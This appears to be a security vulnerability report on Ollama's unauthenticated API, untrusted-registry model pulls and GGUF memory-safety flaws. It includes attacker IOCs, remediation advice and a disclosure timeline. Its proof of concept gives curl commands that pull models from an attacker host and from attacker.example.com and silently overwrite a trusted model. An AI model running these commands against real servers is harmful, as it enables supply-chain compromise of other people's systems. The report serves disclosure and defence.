ollama - 💡(How to fix) Fix Security: Unauthenticated arbitrary model injection from untrusted registries + GGUF memory safety — active exploitation in the wild

Security Vulnerability Report

Product: Ollama
Type: CWE-918 (SSRF) + CWE-494 (Untrusted Search Path) + CWE-119 (Memory Safety)
Severity: Critical
Affected Versions: All versions (0.24.0 and earlier, no fix available)

Summary

Ollama's HTTP API binds to 0.0.0.0:11434 with zero authentication by default. The endpoint accepts arbitrary registry URLs without allowlisting or integrity verification, enabling supply chain attacks. Combined with GGUF tensor metadata that lacks bounds checking before memory allocation, this creates a complete attack chain from unauthenticated access to heap memory disclosure.

Active Exploitation in the Wild

Two production servers have been found compromised with 6 malicious models pulled from attacker infrastructure at 205.237.106.117:8443/attacker/ (ESTOXY OU / AS3920, Paris — Spamhaus CBL listed):

leak_model_0 through leak_model_5 (12.3MB crafted Q4_K_M GGUF files)
Source: 205.237.106.117:8443/attacker/
Suffix: _198e01

Proof of Concept

# 1. Verify unauthenticated API access
curl -s http://TARGET:11434/api/tags

# 2. Pull model from arbitrary untrusted registry — no verification
curl -s http://TARGET:11434/api/pull -d '{
  "name": "205.237.106.117:8443/attacker/leak_model_0",
  "stream": false
}'

# 3. Create model from arbitrary Modelfile — no sandbox
curl -s http://TARGET:11434/api/create -d '{
  "name": "attacker-model",
  "modelfile": "FROM https://attacker.example.com/malicious.gguf"
}'

# 4. Overwrite existing models silently
curl -s http://TARGET:11434/api/copy -d '{
  "source": "attacker-model",
  "destination": "llama3.2:latest"
}'

Full Disclosure

All technical details, IOCs, compromised server lists, and campaign evidence:

https://gist.github.com/k4w1992-lgtm/0cc8ed0893be9f298dc332d15ca4f11c

Recommendations

1. Add OLLAMA_ALLOWED_REGISTRIES config option (default: registry.ollama.ai only)
2. Add basic API authentication
3. Implement GGUF metadata validation before loading
4. Require user confirmation for /api/copy operations overwriting existing models
5. Add audit logging for all model lifecycle operations

Disclosure Timeline

• 2026-05-18: Vulnerability identified, campaign documented
• 2026-05-19: CERT.PL notified
• 2026-05-20: GitHub Issue filed
• +90 days: Full public disclosure

Reporter: [email protected]